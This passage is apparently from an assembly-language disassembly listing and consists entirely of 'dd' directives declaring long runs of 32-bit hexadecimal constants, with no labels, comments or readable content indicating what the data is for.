221E7021h, 820875Bh dd 61C07B12h, 802EBB5Ch, 0B0A84B94h, 761E5DDBh, 810C115Fh dd 2BF8BCh, 87F34C3Dh, 0B17CCE82h, 4F97B8C1h, 2CF923Fh dd 4C2EBD8h, 8441BAC4h, 8FF18EFh, 0BEA017Eh, 904955C4h dd 0C9737000h, 0B6305765h, 0E4C65050h, 0B0C55083h, 4B94970h dd 0B8804338h, 212C6139h, 0F90EDCD1h, 60B951B2h, 6B6C6638h dd 0CE59C05Ch, 5A8C726h, 0E224B400h, 492CC4C3h, 0BAF50CF4h dd 63296BCFh, 813C4F48h, 0F6E4CAEAh, 0FA50FC34h, 0CC89A42h dd 0D9B2E575h, 36000E18h, 0EFDACA28h, 0B0F1C24Fh, 9249788Ch dd 0E6B50F00h, 0E8C18F78h, 0C158662Fh, 81CCD114h, 78EE1A21h dd 2C208EC8h, 7C54FB1Eh, 13D8A882h, 5ADD6090h, 0D4206828h dd 0C89EB412h, 85339840h, 68A4B63Bh, 8F810D6h, 682447FFh dd 636D8108h, 348027FAh, 44868707h, 0A200FCA8h, 0B0321026h dd 0EE612780h, 84AF9083h, 3D1A007Ch, 0D5ECC429h, 2352C303h dd 30B3E234h, 8D7CDB91h, 37575418h, 609E8AB0h, 0FA9BC9CCh dd 6312893Ch, 460E4FFh, 226E58h, 5CBAA6CAh, 0E6474F02h dd 4A9C40EBh, 9FE996CDh, 260C9B28h, 1207187Eh, 63F0D4C9h dd 0F6F00448h, 0CC99F3E9h, 600BA5C2h, 0DAD4B8h, 44E87127h dd 0D617B322h, 0D000A9EEh, 7BA39391h, 0EEBEAE0h, 7A67C149h dd 8084D18Ah, 1B696225h, 6A00C3AAh, 0EB648278h, 0CEFF540h dd 0A9FED532h, 3D0AFFA8h, 80F6E06Dh, 8B52E9C0h, 1ADC9238h dd 18A20DCEh, 19EC0C61h, 23FA7EC0h, 5A1113E9h, 7E07910Eh dd 398497C0h, 886EE026h, 3AE545C8h, 3CFEA003h, 0E06AAA79h dd 84C214D8h, 481EE820h, 0A4C0F883h, 2E51801Fh, 0E415020Fh dd 0B246E164h, 0C6E48210h, 1D64934Eh, 6789B06Ah, 931D7180h dd 2E4073A0h, 0DD4144BEh, 26030F6Bh, 0E70AE3BFh, 23F5C0F4h dd 55072ED1h, 65B2106Ch, 0B52F140h, 424B195h, 80998C13h dd 0C1B8B5D8h, 8A5B233h, 0F52105E5h, 0C0109994h, 2236FDC9h dd 7F209090h, 0C0E3FC3Eh, 2C1C1929h, 0FD38F7A3h, 37D101EEh dd 0D96D0433h, 4B27CC4h, 459EC912h, 0F42C9873h, 18EDC8A1h dd 23FBFCFDh, 56111BE9h, 3C9224h, 28D7B291h, 24B1680Eh dd 0E35208h, 1C823DF8h, 9E019FEDh, 96354F62h, 0F824D508h dd 3228302Ch, 189D23C0h, 0BE361A06h, 9320AEB8h, 0CCBA0614h dd 0C4047964h, 7C8C8E57h, 416A90C1h, 0CEFD6510h, 1531E21Ch dd 7BD0803Eh, 0F57A7230h, 0E00D07DCh, 3CB2474Eh, 0ED1048A8h dd 8442B0DAh, 54B84CD4h, 90733F8Ch, 0F34D1C0Eh, 349EDBA1h dd 0B1C893A7h, 42520000h, 74891487h, 9A3D02F5h, 50F4E0C6h dd 404184B2h, 0FC011880h, 433472FFh, 0FAB22285h, 8E2600A5h dd 1EEBE066h, 0BE24DF2Eh, 0C552B404h, 604EC4E4h, 812A8Eh dd 6602C4ABh, 0F6F799FFh, 54BE3409h, 9BD890BAh, 3C9235h dd 0E406513Ch, 4750299Ah, 0A856A628h, 5C245706h, 5E027DFh dd 0F6D4D112h, 0EDBC00B6h, 68DAAB5Eh, 210C3B48h, 369C08D9h dd 0F9D5EE00h, 12FAD79Bh, 607351C4h, 0D638D2ACh, 1685D69h dd 0FC890900h, 401B8C20h, 0C61A3613h, 1058CFF0h, 91EE0244h dd 183F79C0h, 0DD500BCBh, 94A1D0F2h, 7484964Fh, 5F1F3418h dd 7181B4D4h, 0B6E18121h, 49158436h, 0F43DECDBh, 0D465FA9Fh dd 0EF8168BAh, 634AFEBDh, 78E801BCh, 14184F8Dh, 1C88C90Ch dd 777812F0h, 0A961185Dh, 271F4F51h, 0A080BE93h, 0F42C8C49h dd 2A90A0F7h, 2008B883h, 2816AE9Ah, 8864721Eh, 0ED295480h dd 0EFDCE489h, 539FCC20h, 0D02264C4h, 90219300h, 0B3041CBCh dd 3CDF4966h, 9B42E983h, 23889195h, 0F2A472C8h, 79D03354h dd 0E89834EDh, 15C4C640h, 0E8DA681Eh, 0A09D009Ch, 0CAEBD055h dd 614EF0Bh, 0A46484DDh, 9378EA60h, 0A8084F2Bh, 1E10CB11h dd 986239F2h, 0DD895F6Ah, 5D3D0065h, 450BACF9h, 927E79FDh dd 898DDF14h, 1FC4C08Ch, 99DCC75Ch, 968A45Ch, 981BB4ACh dd 733B40A4h, 2C872CF7h, 8583578h, 9B00CAC4h, 98E45625h dd 5876E7EFh, 0CBBA190Bh, 52DFF490h, 683B5B30h, 93ED415h dd 0BBC54467h, 34983C46h, 8D070C46h, 68CAEF99h, 0E4037C4h dd 7BFC9996h, 0C007DFCh, 4897D22Fh, 265C61D3h, 83D84DCFh dd 0D69926B3h, 537CC1FDh, 80F0622Ch, 3FD91D1h, 0B048A6h dd 945C6312h, 64E8044Ch, 5EDF04C9h, 0A700C4A3h, 0BEB8651h dd 78581312h, 0E47017E0h, 441AC29h, 14664393h, 8223A048h dd 0FD27FB00h, 86870F34h, 0A7F4A545h, 47403E26h, 1D0C2802h dd 0B0A06A70h, 6E32AA54h, 5FB5B00h, 0B721C412h, 0FA9202D1h dd 0F7BC0C47h, 601F9841h, 3C985E44h, 84B1321h, 0D203BD0Ch dd 0EF44DF22h, 0E64C22CFh, 284A961h, 66A6620h, 0C060C85Ah dd 0B293D29h, 80809E70h, 9E6DEA22h, 0D21C6CD6h, 0D1C01C31h dd 9A090574h, 94F8CF04h, 27FDC2D0h, 66AF8903h, 0F4A445F8h dd 270026A2h, 30F993F5h, 0CBA38Dh, 9767B57h, 0C1284702h dd 0C201248h, 39AC7051h, 0BAD00035h, 5C5B5BFh, 1701AEF7h dd 0D13B72F6h, 88A9B8ADh, 1856D1F4h, 266213CBh, 53501D74h dd 838827ABh, 0CCA586CCh, 550239A4h, 65B1908Dh, 8985237h dd 0A466ECD0h, 921F4026h, 65C80222h, 0B76496DDh, 0FB80C880h dd 6D249A44h, 0F00928FFh, 644847D2h, 81E06759h, 0F626780h dd 5C7250DDh, 0B86012E9h, 9CA9C770h, 601E6016h, 11D0ED1Eh dd 863E3746h, 7C18B4A0h, 0F1346C23h, 2C17E26Ch, 0A7467444h dd 0D464AA00h, 95E3C9FDh, 41DC4830h, 241D6E3Eh, 188CD59Eh dd 6FB2993Ch, 3041C260h, 1699EF9h, 51B1FEACh, 525AFA37h dd 8CC711ECh, 5363C044h, 0E2D09DC0h, 0CEBA2513h, 2AE99C20h dd 714F4BE0h, 4AEEAB08h, 0C0C2C834h, 0F1ABD471h, 6CF6B00h dd 9197C9A5h, 0FDD70B8Bh, 0F0B08D36h, 22069CBAh, 6F774754h dd 169A7EE0h, 1FD8A6EFh, 48B38710h, 0DEA38367h, 2949E8B9h dd 52C00090h, 0A1A4CE3Fh, 4FA0A0A2h, 603A3047h, 0EEECD548h dd 2BD29D1Dh, 0B4233193h, 7AEE2C6h, 5C4AC09Ah, 21E02ADDh dd 6B584B6Ah, 80850B0Bh, 3638AF10h, 9C589E59h, 2254D01Ah dd 97D800ACh, 0FD6CE3B8h, 0E4006E6Dh, 83D93FFEh, 1C5AA549h dd 0A866DB3Dh, 0B28744B8h, 98B43AE8h, 0DB9CF340h, 90684D96h dd 479DB101h, 2B7E6F7Ah, 0DC128053h, 89794801h, 68210628h dd 0D610A9E5h, 29D6D940h, 0B0CAC80Fh, 0A9AE7018h, 800071CFh dd 9BD2BDACh, 0AD13EEh, 640E42AAh, 0F2F673ABh, 20EEB490h dd 274C4B40h, 54A39FE5h, 61724F40h, 34BCF313h, 0AFEE4404h dd 0A5FD5A0Fh, 63337001h, 41286259h, 479EE4A8h, 21873636h dd 0E9D33A49h, 4218EB96h, 0C908B610h, 3926105Ah, 46744080h dd 193B0058h, 0A4AFF653h, 0CCB0BCh, 821DC618h, 0CFBAD927h dd 3C01C24Ah, 5E3F5194h, 0B0FC8C34h, 0CE81050Dh, 0C8A1B554h dd 0D100334Ch, 75ECE88Eh, 14963DD4h, 0BCA2AE82h, 58B94E88h dd 1FE012F0h, 523AC8Ah, 0E4999A01h, 3E18A5CAh, 182F388h dd 0C4E46B9Ah, 0D7EB7651h, 6358A180h, 5C842605h, 5CB042F5h dd 71744A52h, 0D49A298h, 109978F8h, 0C813F84Fh, 0EC1880CEh dd 947A6478h, 1EB8F548h, 73C17443h, 0D8CAD937h, 6864CC62h dd 68C786CCh, 3D4AFB05h, 0DCB20A26h, 0F403FE01h, 0F8E9C81Fh dd 9605C61Eh, 408A48A7h dd 3401B006h, 56721C60h, 0DE0D099Dh, 90E51C04h, 0D7049600h dd 0FC298281h, 0FA04BFB8h, 6CCA9E4Ah, 27D088h, 4C082A13h dd 0C01D8FEh, 0FD834CDEh, 90B64471h, 0D8ED2E0Fh, 45A3901Ch dd 0BA268090h, 7F4090C7h, 81267B54h, 808428EDh, 6059DB6h dd 1C531364h, 9EFB0A15h, 0D82B09C8h, 57501481h, 882CE6h dd 521CB1A3h, 0D38C9Bh, 0F83AC4BAh, 0B7C8BE8Ah, 2FD99480h dd 240A7E48h, 0EB420674h, 3E097815h, 45EF5E8Fh, 60CCC4E0h dd 98357CEAh, 68C1605Dh, 0F16F2E63h, 3DED5215h, 39171294h dd 740EB813h, 0D23E90CAh, 7C9F4786h, 320DC07Eh, 903C774Ch dd 27259830h, 2438A2ABh, 513EBF0h, 0F465744Ch, 344384CDh dd 5420CE16h, 68AB881h, 2B52DF23h, 0C6186135h, 6D30D4F0h dd 44D14D85h, 81263E10h, 9E8960DFh, 5CD84446h, 0E610388Bh dd 36FB09B4h, 734C424h, 30BE5312h, 6D6A92C1h, 0F41FC4D8h dd 0B4173549h, 974C0050h, 0B123242Fh, 0B5B98A02h, 0F240F266h dd 584CA487h, 9E80F46Dh, 68C33BA6h, 75D25E05h, 0C410FAEAh dd 8CB3B83Ch, 83CF77Bh, 0E4A792E0h, 0CF4A00D1h, 6D23C910h dd 701E5E00h, 0F1D6C0D2h, 0DDE8304Ch, 0E22F5021h, 0FC199496h dd 14218588h, 30A53C42h, 8C1778EBh, 438104Fh, 78F3001Bh dd 43B98969h, 0FE2E2E5Dh, 300A346Ah, 49084C12h, 43949ECDh dd 50DFFFD3h, 700026A3h, 0C404BFA1h, 545ADD4Fh, 2C3DC874h dd 8F4CA85h, 0A30B4CFAh, 0C4D445BFh, 0A10A6058h, 62B702BBh dd 0E9951286h, 2F5E2C48h, 48AEE300h, 215D130h, 0EB44000Eh dd 1694EAECh, 40FEF2BAh, 0D46BA624h, 8C373392h, 0CCA4B2F5h dd 519604F8h, 0C359976Ah, 0B39163DCh, 588C6332h, 3DE7017Ch dd 636BC17Bh, 0B913980h, 4E6E6F57h, 0F7674000h, 7A190D80h dd 0A5AD1E77h, 17E993DFh, 27284176h, 0F8569E48h, 7020BE36h dd 659907B7h, 0CB44B36Ch, 0FD05840Eh, 0FBE80F6Eh, 340FF45h dd 4F97D3B4h, 5255BE89h, 0FCE0B1FCh, 0D644E94Ch, 80D8905Dh dd 9143B391h, 210A02Ch, 26749167h, 79E38D2Eh, 777DACD8h dd 9B5B8603h, 15E63FFBh, 0E88B3679h, 1398269Eh, 58FC40C3h dd 7253D7A3h, 1098D148h, 2700A98Ah, 6639B826h, 0C24DCEB9h dd 9493050h, 1C40E852h, 0C0D9EA27h, 816D792h, 1504C3ABh dd 0A8019E38h, 37F810C0h, 7C861D8Ah, 0F3D68426h, 1B4CC1A3h dd 0B820A682h, 2092024h, 834C86Fh, 0E762014Ah, 0C495B5E3h dd 6DC89239h, 1E075CB4h, 4F978636h, 0D70B5A76h, 0E5BE7F00h dd 8731DF6Eh, 0B3FAC8EBh, 9648D200h, 0A4B47050h, 3F4FB106h dd 0C1071FEh, 0BC7AECCAh, 295F828h, 0C0D29B54h, 0FC3F5224h dd 0D429C27Ch, 0F8C4C346h, 0C510B318h, 80ADEDC8h, 0EC4F4EE0h dd 3B23742Fh, 0A7CD800h, 0BC6B4B12h, 704A8024h, 0A7630D40h dd 57EBAA00h, 73B6DDECh, 0F9641E7Ch, 46A57E1h, 0DDC1EE34h dd 0D256F528h, 9E2EA052h, 467C54D8h, 88D907BFh, 0E120ADFEh dd 30DD5039h, 0DA50B7AAh, 5F4D3E48h, 0C5607608h, 6FB6CB39h dd 20ED5CB3h, 0C9B5AE03h, 0A7C04243h, 0EE4B9473h, 70135895h dd 48E4C8h, 722EFD5Ah, 0BE04B7DFh, 0C84A177Ch, 5988348Bh dd 0F72F5AC0h, 53D90450h, 0AC3A3752h, 23604CA8h, 97B21E87h dd 8209539h, 2787D7C0h, 455FD2EFh, 0C0883FC7h, 1FB85B9Ch dd 0A6D040h, 0C00E7958h, 4CD0E655h, 0FEE9DC11h, 14A0FD30h dd 0E03F1745h, 9A5A8E13h, 0FE6F88CCh, 0EFF26F42h, 0A8419078h dd 207460C2h, 0C0D0E627h, 0E5747CD2h, 20D2DDCAh, 8B3DBCA3h dd 39A21C9Fh, 0D257669Eh, 7C4CE75Dh, 0DA606C62h, 0D80209DEh dd 88E87913h, 2CF75ADCh, 0EBED1398h, 0F12140A1h, 0A18D402h dd 0CEB50793h, 0A1B02582h, 332980D4h, 4E6588CAh, 840AF12h dd 0E642C35Eh, 0CC32257Fh, 0BE108AB0h, 5F00C0D0h, 0DF511095h dd 0CE1C3F7Fh, 0C7EA271h, 606D6682h, 1649CB7h, 691B3EFBh dd 9482E6ECh, 6630D562h, 0F8E4A37h, 0B9382EE0h, 0C7015FE7h dd 479E6908h, 0B4045132h, 0CD172A54h, 0C041C77Ah, 4A9F743Ch dd 40272D0h, 7B2C4F58h, 0C614E47Eh, 0FBD7CE89h, 0E9C009D8h dd 5C78EF4Ah, 0A01810A1h, 4134DCC1h, 70826927h, 0C4993108h dd 9D46CAEBh, 0F200E422h, 0FBF39A81h, 3A36CA93h, 0ABA6495Ah dd 566A4254h, 622240D2h, 0CEBA1AD5h, 1061F946h, 82A0458Ah dd 646954D6h, 1CE518A3h, 2E4F9A78h, 0ED15708Ch, 4EA787Fh dd 176BF1Eh, 20819240h, 7E186CDBh, 0C8DA2CD5h, 0A8C02C82h dd 8D123C68h, 0CCE44C94h, 41825583h, 6C8B204Eh, 6EC0B0C8h dd 72DCD0BCh, 0B434923Eh, 0E2F1441Ch, 3040E258h, 7300EF9Fh dd 12047E03h, 5496B6A0h, 4D1E894h, 0FCF44374h, 86E882CDh dd 1795A070h, 805491B0h, 17CE321Eh, 22DF0B5Dh, 84CA50B0h dd 0FC182C0Ch, 30BE1544h, 0D288A49Ch, 0E0A0DA66h, 0FB80D6ABh dd 0C4830B47h, 3040992Bh, 1CA23F08h, 0C4809856h, 0E9E55525h dd 304A245Ah, 9E893DF8h, 0CC5AAF38h, 18310331h, 61C58237h dd 41F3EC30h, 43DC20B0h, 4ABA4040h, 71DCCCD1h, 4EC0B90Fh dd 0C087EA47h, 1218F37Ch, 4B08A600h, 0AC3AB322h, 406A4A84h dd 40373228h, 0E50076CAh, 56C78DF5h, 28988543h, 2088DFBBh dd 702DD534h, 0FD60A0B4h, 59994A9h, 0EDC26F75h, 2304F46Ah dd 0F1084605h, 9E03DFD3h, 1DBE5363h, 4A154F39h, 4F944B2Ch dd 0E4D940A4h, 88B86D3Ch, 27A55620h, 1CC639D6h, 0C6358F04h dd 78E9CEB4h, 4B306E08h, 6E6C9788h, 34022800h, 448686F7h dd 0A839FEA9h, 30701E26h, 0AF27CD86h, 228890E2h, 0C898B0E3h dd 0A0711A20h, 88BBEA88h, 7E719D57h, 11181D95h, 0D48182E5h dd 762C602Fh, 7C188289h, 5C8A3B42h, 0D26640A4h, 0FA00C5FFh dd 7B0A9E45h, 11499FDh, 9CE4AF1h, 602C59F3h, 0D8A99108h dd 4C2E3BEFh, 0CF00BF23h, 456E6815h, 0BCA050E4h, 0D08CA190h dd 0B844BD14h, 30EB1EC4h, 52E98FD3h, 0ED288337h, 57F9D1C3h dd 545861A9h, 0E860E80Ch, 0EB008CA9h, 0FD56B62Ah, 94E99BCh dd 229CB96Fh, 64726089h, 9AF9D500h, 4ADEA506h, 88346583h dd 959C08E7h, 0A4F5282h, 7CB8C487h, 0F1E89943h, 0C3119C9h dd 3542442h, 7AC0CBA3h, 254DF55Ch, 3A5B7334h, 73F8A020h dd 0F4CA08A8h, 6021B7AAh, 3BC46027h, 0C07020CEh, 465E20BEh dd 0A5920F4Eh, 17B4C0B5h, 0A0EA0503h, 9E15ABCCh, 0B28189C8h dd 0C34A98A1h, 0CAED003Fh, 9871F1D4h, 3000826h, 0A02C3B88h dd 2A265846h, 0E063708Ah, 52CAD88Ch, 74DF4979h, 474B43C4h dd 8FE268A3h, 99C8993Ah, 0F6915810h, 0BAB18910h, 0A9C042Ah dd 6A863750h, 43FB89ACh, 0A47EACB2h, 58465Eh, 0A3BB179Ch dd 959A46CCh, 396F1C80h, 0A09D4A7Fh, 0AD3B70F0h, 3EB307EBh dd 30603D2Fh, 3F502A36h, 25800A27h, 0DC306594h, 2A4C88A9h dd 4470123Fh, 0B8556D9Dh, 7C86C8A4h, 3D4A5Ch, 0BA1D158Dh dd 5A3B3714h, 9994909Eh, 3240C1ECh, 0A0515494h, 696011Bh dd 2736B1FAh, 0F4CFC9CBh, 7D4CA547h, 3CA82454h, 83018505h dd 61969C04h, 0D8E97089h, 0A64C0E00h, 0C0049824h, 2EA44674h dd 38071345h, 0DFA1DABEh, 0F2DB895Fh, 17F064C8h, 0DC11CE8Ah dd 280B6D18h, 8BB4ECB3h, 5BAC119Ch, 0FA546913h, 2AB59440h dd 7E08901Ch, 0C2260EA4h, 3E096D40h, 0B25F2C96h, 20377C22h dd 0AB56D4D0h, 754F5A80h, 4F34947Ah, 0BEB404D1h, 9702B990h dd 9087E95Ch, 0FB03D868h dd 0ED495D36h, 475098D1h, 35BC70CEh, 4B15E6Ah, 8851EF98h dd 828813A4h, 5A4814A8h, 0D84BC86h, 0EB7009D9h, 2BACA018h dd 27730062h, 607D9776h, 3E01016Eh, 2F5081BFh, 48645ECAh dd 0D99E28D4h, 7F563E68h, 38211042h, 43B09524h, 0D7882F32h dd 0A900585Fh, 7720B27Dh, 62BE6975h, 0B3ADA8FFh, 0E4646509h dd 39286056h, 0EE4815B0h, 8A73885Dh, 4D445047h, 0B4943A60h dd 27D25100h, 23569F35h, 0EE472454h, 0E44C8B68h, 38103C79h dd 4B1D380h, 442E96CEh, 5042C0D4h, 18610926h, 445100D7h dd 6C3B4DF3h, 0D9E34C0Ch, 44BA4F51h, 0BDCEE20h, 428F3D60h dd 0CBE43CE5h, 0DCB5FF60h, 0B563D8A2h, 73355115h, 4F28E0B4h dd 81960DFh, 4B4C5E53h, 8D29A300h, 3AC9BD7Dh, 7B8B03E8h dd 10E14E68h, 574290AFh, 670E204Ch, 8060BEDBh, 0B24B48BAh dd 0D01C5875h, 7AC39D06h, 0D4075065h, 0AF5854E3h, 9BDEE180h dd 48B80047h, 243311A6h, 8830FBCAh, 0F85E2053h, 2B8E143Dh dd 86E120C4h, 0FE61844h, 19456C66h, 0CBCDB4C0h, 0D5012F28h dd 1D5EC88Bh, 0D98061B3h, 28D337Eh, 7CA431E7h, 0A15744h dd 0BA3F8D2Bh, 0DF65AB60h, 79CB3707h, 0E84039C9h, 69831Ch dd 0E74CCD4Eh, 0DBDA6D2Bh, 805E4B38h, 5F37DE51h, 3EBA4C1h dd 457719D8h, 0E3B01C57h, 0AE392EEAh, 0D0CF8665h, 774880F2h dd 34D6148Eh, 0CA00A07Fh, 0D08A6222h, 0B8A0828Bh, 110046A2h dd 80E80143h, 0D85CDBE0h, 629F6018h, 7B81C4A0h, 0CEB5E914h dd 789CCC2Ch, 113443AFh, 0DC408294h, 378942A8h, 81742066h dd 10584906h, 8EC344h, 8BDFC6E1h, 3DFB48B7h, 6078E958h dd 4E8FCD80h, 50C8285Fh, 2D4C0084h, 97C3BBDFh, 7B301187h dd 23C0A93Fh, 0DFC0C76Ch, 0CCE2ECCh, 39A627C6h, 80EBD20Ah dd 0DB16F448h, 8A6D1E0Eh, 4D8AB018h, 4030CAE8h, 6F4AD925h dd 21FB584Ch, 0E150B034h, 0C019FC08h, 0E7068D2Fh, 5A225146h dd 8D27A500h, 5F7329D0h, 0F30B03EDh, 64477B9Eh, 785E2003h dd 88517AE9h, 0CDDC7FDh, 0AEB45453h, 0BE16DF41h, 0F114F916h dd 0B0152B04h, 0C4214A8h, 3963D218h, 0B9145F95h, 10B097A4h dd 0D4058A68h, 7526CDBh, 0C6BF8384h, 0B4364853h, 46E03976h dd 8D310217h, 3141E708h, 1E82654h, 0EA27123Ch, 70910ED1h dd 6AB41846h, 58B0E029h, 25029F3Ah, 0E866A442h, 0D8E7B140h dd 5681D49h, 0C68E4AF6h, 2C408C5Ch, 0D3362103h, 5A82190Fh dd 805709CBh, 21FB0C21h, 22D2509h, 0E8CCA7E9h, 0E48F833Bh dd 0E9C75FE7h, 81310027h, 804A7427h, 9B9D6B11h, 0CBAD420h dd 0A2CC487Ah, 21C04108h, 39B950Eh, 68F00033h, 37D2A678h dd 4731A5D5h, 0A924A166h, 249258E8h, 22C6F0Fh, 0B77984BEh dd 851CC91h, 0C52D0CDEh, 0D3103C52h, 8BEBD018h, 0D81D47A8h dd 0D213CE30h, 0C6381E0Fh, 0A5DDA315h, 5672D19Fh, 44CC6430h dd 534CF75Ch, 54371198h, 2E981F39h, 9816401Dh, 0B7344E50h dd 9EB6A40h, 44B47BF0h, 997A9800h, 0E824CD36h, 5E817C73h dd 91FB594Ah, 0A011204Fh, 7ECB87ADh, 66310029h, 0C793E3C4h dd 0CFD52B80h, 0A414665h, 11EC5E84h, 2104808Fh, 8C17D335h dd 0B6044h, 69AA21FCh, 90F6E148h, 922ADA05h, 0D0405673h dd 79283480h, 8C1A0012h, 0B0E8E5Dh, 5C041701h, 0AFE8D2B3h dd 68060495h, 7708E7B7h, 63E334D3h, 0F4348718h, 90A0196Ah dd 21080118h, 0C4FFD334h, 0F90E4058h, 24848321h, 11341ED0h dd 0E0560C3Ch, 384958h, 0C00399CBh, 8EC3D82Ch, 7B7878D4h dd 9EA7240h, 8094CFE0h, 0D6E55000h, 0C8908864h, 4C4410C0h dd 0C05B46FEh, 8A217E51h, 0FF03E59Dh, 7DD626Eh, 74A36Fh dd 8A191721h, 0C528707Dh, 8D39EF05h, 4820EC56h, 0D03AFE7Eh dd 9532D8F0h, 4616568h, 0F93C4869h, 8A26028Ch, 6F17E598h dd 1C107619h, 67048A1Eh, 0ADFA7CD1h, 63D06081h, 3C48EC36h dd 2E40943Dh, 80E8734Ch, 5F4B3F8h, 5DC80C90h, 91195174h dd 9FF5E500h, 0FE03C014h, 3A9C7985h, 0A8E660B6h, 330A3006h dd 0F4597BE8h, 577318BCh, 0F8FEEF41h, 0A9DF03E7h, 49A27BF4h dd 3D3361D8h, 9CC5D48h, 2452E0E9h, 1CDCCD00h, 231743C8h dd 9B99012Bh, 189AD424h, 910A883Fh, 0B30D9B0Bh, 0B400104Eh dd 9C5C0114h, 1D391FF1h, 0C4B8CD90h, 3706E050h, 4066E971h dd 0AC215888h, 4C308A10h, 47A114F8h, 101094F0h, 286468A4h dd 553E4164h, 8456CBC8h, 4BEA20D8h, 0DEFAEB03h, 0A2FB73CCh dd 0F36CE0A8h, 1DCB2A7h, 2F31C32Ch, 20013582h, 4C928D88h dd 0B0E83B39h, 9DE35070h, 55D03350h, 49CA6DD1h, 0D8338448h dd 647CFB26h, 8542194h, 2C832CCEh, 71B318B0h, 1B3FC138h dd 81B689E8h, 0DD0C0289h, 6C54E0AFh, 15CC8057h, 0BB9E0700h dd 568BD9C6h, 597C6AE3h, 146384Ch, 0E59B8A1Fh, 0B6EEFh dd 0F58A1719h, 3B8F5687h, 3A02C926h, 4536E981h, 6245FC9Eh dd 7891C419h, 0C4238FFCh, 0FCC4E597h, 8D723C48h, 0C8981B1Dh dd 0FB1EDB7Fh, 5B81B492h, 66C8BEE5h, 8870B864h, 0E10BA3DFh dd 84511859h, 1A326734h, 118D3030h, 8849E705h, 0C2A49E56h dd 0E4A01A8Dh, 9024B28Bh, 0D11C0042h, 54B6CF31h, 0AE6BC7Dh dd 61850FF4h, 0A9111FCh, 0E873C833h, 21C052BBh, 7184A183h dd 1101875h, 0D81AA7D6h, 0E479CC65h, 0E4098DDDh, 330A1820h dd 0F0CEA910h, 244464D2h, 8E3455C5h, 0A3E07E2Ah, 86F0893Eh dd 9C7B9B24h, 0E06BA63Ah, 46CF3A42h, 0EB72092Ch, 388A4B38h dd 198D1830h, 6CA115D2h, 69C80F7Ah, 0D4A9C7C0h, 98DB54C0h dd 0A6092A3Dh, 0FAC607A4h, 9212B4D5h, 7C6B7CD3h, 1FB6823h dd 0E5968A24h, 88731807h, 8A001C1Eh, 0B7BFC47Ah, 48D06A09h dd 848AC8CFh, 4417A5FCh, 3B805591h, 0D1571307h, 0C10F4602h dd 81637E38h, 9AE987A4h, 49F48C34h, 0B41888CAh, 0CEDB4166h dd 0A5C78802h, 0E04680F9h, 2549F5BCh, 9829DD6Dh, 5813091h dd 30547C0Eh, 0A0513334h, 48C1CA0h, 0E7038D36h, 205B6219h dd 308D2E9Eh, 72DF003h, 8796F6A7h, 5CC4DBF1h, 0F5AB7980h dd 88B2808Ch, 0E1494A0h, 2EE94800h, 36F8333Dh, 14174827h dd 48AF910h, 57B4F3D4h, 8F5D8021h, 1436CAA8h, 59C810B4h dd 20DC6D13h, 0B3D8D57Ch, 903D7840h, 455D2628h, 881E8928h dd 0C760E004h, 0A3627428h, 303EB240h, 0AE3F08DDh, 0ED8D8E0Ch dd 77CF61DCh, 5030193Ch, 2282C92h, 0EC9180ECh, 0F47B810Dh dd 7824794Ch, 4B256F04h, 28906546h, 3F5F92C7h, 0DA878D67h dd 53D2F0B9h, 0C80C750Bh, 0A89BCF98h, 977B8C2Dh, 0AAD42211h dd 0C874788h, 1A409B8Fh, 90D26A9h, 286C8913h, 12C2E48Ah dd 8BB5037Eh, 0CAA048CBh, 0E0137491h, 0F88F075Fh, 42FE8388h dd 0D43AF483h, 0C2003D23h, 0C137FD18h, 0F0B860F7h, 5A30FBD2h dd 846568D7h, 65C834CAh, 0F74855C0h, 0BB910926h, 9482CB14h dd 0E51056D8h, 5FC42EDEh, 60FAC4E0h, 23998A25h, 74111FE5h dd 8A1D1B00h, 0DEED063Ch, 39603813h, 2D105C1Dh, 49B37050h dd 0C501C46Bh, 0BF2181ACh, 24A6F4E5h, 9F6DA300h, 0E8D33E10h dd 0CE89E5Fh, 0EF616347h, 0F7E21E00h, 0C6A75723h, 3EB10118h dd 0D0D32FBFh, 7C3C14h, 801940F8h, 50814661h, 0CB984Ch dd 2534939Ch, 95DDC40Fh, 141F0327h, 0E154580h, 0CF6088B0h dd 16372EE0h, 0E703A83Bh, 0CB50EBE4h, 71F10464h, 8076B2E1h dd 8FE0D354h, 94498E4Fh dd 515CC03Ch, 0C52C11E6h, 0C8D3050Ah, 14086107h, 91A0B252h dd 11210230h, 8807D333h, 0FA0D855Fh, 0B8948021h, 89004651h dd 6C45ACF6h, 24AAF556h, 8E445372h, 7CC33B8Ch, 0E9C86939h dd 0E11861FAh, 81B86E0Eh, 1DB4A4E0h, 71BF0987h, 152CC019h dd 0F8D5EC98h, 0E97840C7h, 755B1015h, 18D01A80h, 0A5C80331h dd 0C6978888h, 8256455Ch, 72FD2D91h, 64C8428Fh, 7170FBF0h dd 805D5041h, 0B6C900BEh, 0C6E1BF32h, 0C8988CE3h, 8FDF2D3Eh dd 5D8ECBF4h, 97F4048h, 4C655F31h, 7E606AE4h, 3062CF85h dd 0A069B349h, 0C3ECACECh, 0AA0D0058h, 0F6B1306h, 0D205E621h dd 97156D99h, 0B8A728D8h, 4B9D4494h, 5E3BD816h, 0B384FC28h dd 0CE5F05F8h, 7488424Dh, 48EA6CF3h, 0D39470B0h, 28AC613h dd 727F8804h, 0C8E25645h, 4F55C5BCh, 6C76F8ACh, 3E0153E2h dd 138C6298h, 0F830447Ch, 0E4825471h, 0BE4D44DEh, 3347051Ah dd 48A80249h, 0AC205B56h, 6746744Ch, 14AC777Fh, 1C6C47B8h dd 7F80773Ch, 101DD940h, 7C0095E7h, 1491A06Bh, 2A4E647Ah dd 7C052B4h, 37B601ADh, 0E1B0002Dh, 131EEC3Ch, 20402BCBh dd 28A26A4Dh, 2F8E4E8Ch, 732384h, 22779182h, 0F428EBA6h dd 9A45D46Eh, 3094C442h, 30132105h, 14381FD3h, 21FD000Ah dd 6474FA63h, 0F709FC50h, 0E808D73h, 0FCAA8A74h, 0A8349F0Ah dd 462C0BF6h, 0D8186AC4h, 6B00A9F8h, 0CAF21EC2h, 1DEA5A31h dd 1F2F29D1h, 64D21CE0h, 118960C8h, 20904817h, 61BBE0A0h dd 53405091h, 0C45D83E8h, 5295E919h, 789F5805h, 22181866h dd 0E9187653h, 0EA60442Ah, 362800CBh, 0C801B40Dh, 2C98A680h dd 72586722h, 0DF01F3E0h, 0C893C89Bh, 1338334Ch, 2C218EBFh dd 0B19349DBh, 2D5F1FD0h, 5711B09Dh, 0A613899Ch, 0C4E23881h dd 1303C07h, 0E0E7A4D5h, 689D4DBEh, 871697CFh, 0AF08C164h dd 4B188E6Fh, 0D8265FC0h, 44829941h, 